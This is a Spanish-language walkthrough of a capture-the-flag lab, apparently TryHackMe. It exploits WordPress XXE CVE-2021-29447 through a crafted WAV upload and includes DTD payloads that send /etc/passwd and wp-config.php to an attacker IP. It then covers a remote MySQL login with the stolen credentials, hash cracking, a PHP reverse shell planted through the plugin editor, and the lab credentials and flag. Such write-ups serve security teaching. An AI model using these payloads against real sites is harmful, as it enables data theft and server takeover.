Fase 1: Reconocimiento (Escaneo de Puertos)
El primer paso es realizar un escaneo completo de puertos en la máquina víctima para determinar qué servicios y puertos TCP se encuentran expuestos.
Escaneo Completo de Nmap
Se ejecuta un escaneo completo de puertos TCP (-p-), detectando las versiones de los servicios (-sV) y ejecutando scripts de reconocimiento básico (-A), con velocidad muy agresiva (-T5):
sudo nmap -sV -T5 -A -p- 10.129.154.183
Resultados Clave de Nmap
El escaneo revela 3 puertos abiertos principales:
- Puerto 22 (SSH): Servidor
OpenSSH 7.2p2 Ubuntu 4ubuntu0.10(Ubuntu Linux; protocolo 2.0). - Puerto 80 (HTTP): Servidor web
Apache httpd 2.4.18(Ubuntu) ejecutando WordPress 5.6.2. - Puerto 3306 (MySQL): Servidor de base de datos
MySQL 5.7.33-0ubuntu0.16.04.1.
Fase 2: Enumeración del Servidor Web (Puerto 80)
1. Acceso al Sitio Web Principal
Accedemos a la dirección IP por HTTP a través del navegador para comprobar el sitio web de WordPress expuesto:
Vemos una instalación estándar de WordPress con el título “Tryhackme - Just another WordPress site” y el post por defecto “Hello world!“.
2. Panel de Administración
Para esta máquina de laboratorio, se nos proporcionan credenciales de bajo privilegio para acceder al panel de administración de WordPress. Las credenciales utilizadas son:
- Usuario:
test-corp - Contraseña:
test
Iniciamos sesión en http://10.129.154.183/wp-login.php, lo que nos redirige con éxito al dashboard principal de WordPress:
El dashboard confirma que la versión de WordPress es 5.6.2 y que la versión 5.7.2 se encuentra disponible para actualizar.
Fase 3: Explotación del XXE (CVE-2021-29447)
1. ¿Qué es el CVE-2021-29447?
Es una vulnerabilidad crítica de inyección de entidades externas XML (XXE) que afecta a las versiones de WordPress de la 5.6 a la 5.7, siempre que el servidor se ejecute bajo PHP 8. La causa raíz reside en cómo WordPress analiza los archivos de audio cargados (concretamente la biblioteca ID3 utilizada para extraer metadatos de archivos de sonido, como WAV o MP3). Al subir un archivo de audio con un bloque de metadatos XML malicioso, el motor XML de PHP procesa entidades externas, lo que permite la lectura de archivos arbitrarios del sistema de archivos local y ataques SSRF.
2. Preparación del Payload
Dado que la vulnerabilidad se dispara al subir un archivo multimedia, crearemos un archivo .wav que contenga una declaración DOCTYPE apuntando a un archivo DTD (Document Type Definition) externo alojado en nuestra máquina atacante (192.168.149.112).
En la terminal de Kali Linux, generamos el archivo de audio malicioso:
echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM "http://192.168.149.112:8000/control.dtd">%remote;%init;%trick;]>\x00' > poc_payload.wav
3. Configuración del Servidor Web Atacante y DTD
Para explotar este XXE Out-of-Band (OOB), necesitamos alojar el archivo control.dtd en nuestra máquina atacante en el puerto 8000.
Primero, creamos el archivo control.dtd con la instrucción para filtrar el archivo que deseamos leer (por ejemplo, /etc/passwd). Para evitar problemas de sintaxis con saltos de línea y caracteres especiales del archivo del sistema, usamos los filtros de PHP (php://filter) para comprimir el archivo con zlib y codificarlo en Base64 antes de enviarlo:
<!ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % init "<!ENTITY % trick SYSTEM 'http://192.168.149.112:8000/?p=%file;'>">
Una vez creado el archivo DTD en nuestro directorio de trabajo, iniciamos un servidor web local en PHP para escuchar las peticiones entrantes en el puerto 8000:
php -S 0.0.0.0:8000
4. Subida del Archivo WAV y Exfiltración de Datos
Nos dirigimos a la sección de Media Library en WordPress y cargamos el archivo poc_payload.wav que acabamos de generar:
Al cargar el archivo WAV, el servidor WordPress lo analiza automáticamente para extraer sus metadatos XML, realizando dos peticiones a nuestro servidor web atacante:
- Una petición GET para descargar nuestro archivo
control.dtd. - Una petición GET que contiene el contenido cifrado del archivo
/etc/passwden el parámetro?p=....
Fase 4: Decodificación y Extracción de Credenciales
1. Lectura del Archivo /etc/passwd
Copiamos la cadena codificada en Base64 recibida en nuestra terminal y utilizamos PHP localmente para decodificarla y descomprimirla:
php -r 'echo zlib_decode(base64_decode("hVTbjpswEH3fr+CxlYLM..."));'
En el listado de usuarios de Linux, encontramos una cuenta de usuario regular muy interesante:
stux:x:1000:1000:CVE-2021-29447,,,:/home/stux:/bin/bash
2. Extracción de wp-config.php
Dado que logramos leer /etc/passwd, ahora apuntaremos al archivo de configuración de WordPress (wp-config.php) para extraer las credenciales de la base de datos MySQL.
Modificamos el archivo control.dtd en nuestra máquina para apuntar a wp-config.php:
<!ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-encode/resource=wp-config.php">
<!ENTITY % init "<!ENTITY % trick SYSTEM 'http://192.168.149.112:8000/?p=%file;'>">
Subimos un nuevo archivo WAV (o refrescamos la biblioteca de medios) para disparar de nuevo la exfiltración. Capturamos la nueva cadena Base64 y la decodificamos:
La decodificación nos revela los parámetros de conexión de la base de datos de WordPress:
- DB_NAME:
wordpressdb2 - DB_USER:
thedarktangent - DB_PASSWORD:
sUp3rS3cret132 - DB_HOST:
localhost
Fase 5: Movimiento Lateral e Intrusión
1. Acceso Remoto a MySQL y Extracción del Hash de Contraseña
Dado que el puerto 3306 (MySQL) de la máquina víctima está expuesto a la red, podemos conectarnos de forma remota utilizando las credenciales obtenidas:
mysql -u thedarktangent --password=sUp3rS3cret132 -h 10.129.154.183 -P 3306 --ssl-verify-server-cert=0 wordpressdb2
Dentro del monitor de MySQL, consultamos la tabla wptry_users para encontrar los usuarios registrados en WordPress y sus hashes de contraseña:
SELECT * from wptry_users where id = 1;
Obtenemos el hash del usuario administrador corp-001:
$P$B4fu6XVPkSU5KcKUsP1sD3Ul7G3oae1
2. Cracking de Contraseña con John the Ripper
Guardamos el hash en un archivo de texto llamado hash.txt y ejecutamos john utilizando la lista de palabras rockyou.txt y especificando el formato phpass (usado por WordPress):
echo '$P$B4fu6XVPkSU5KcKUsP1sD3Ul7G3oae1' > hash.txt
john --format=phpass hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
La contraseña del usuario administrador corp-001 es teddybear.
Fase 6: Control del Sistema (RCE) y Obtención del Flag
1. Acceso de Administrador y Carga de Reverse Shell
Con las nuevas credenciales de administrador (corp-001 / teddybear), iniciamos sesión en el panel de control de WordPress.
Para obtener ejecución remota de comandos (RCE) en el sistema operativo subyacente, aprovechamos el Editor de Plugins de WordPress (/wp-admin/plugin-editor.php). Seleccionamos un plugin instalado (en este caso, WP Hardening, editando wp-security-hardening/wp-hardening.php) y reemplazamos o agregamos una reverse shell PHP de PentestMonkey configurada con la IP de nuestra máquina atacante y el puerto deseado (192.168.149.112:9001):
2. Ejecución y Recepción de la Shell
En nuestra máquina atacante, iniciamos un listener de Netcat en el puerto 9001:
nc -lvnp 9001
Triggering de la Shell: Visitamos la ruta pública del plugin editado o lo activamos/interactuamos con él para que el código PHP se ejecute. Esto inmediatamente establece la conexión a nuestra terminal:
Una vez recibida la shell como el usuario www-data, estabilizamos el prompt interactivo de la TTY mediante comandos de python3 y stty:
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Presionamos CTRL+Z para suspender
stty raw -echo; fg
# Escribimos reset y presionamos enter si es necesario, o exportamos variables de entorno:
export TERM=xterm
export SHELL=bash
3. Lectura de la Flag de Usuario (stux)
Navegamos al directorio personal del usuario stux en /home/stux. Listamos el contenido de su carpeta y encontramos un directorio llamado flag que contiene el archivo flag.txt:
cd /home/stux/flag/
cat flag.txt
La flag de la máquina es:
thm{28bd2a5b7e0586a6e94ea3e0adbd5f2f16085c72}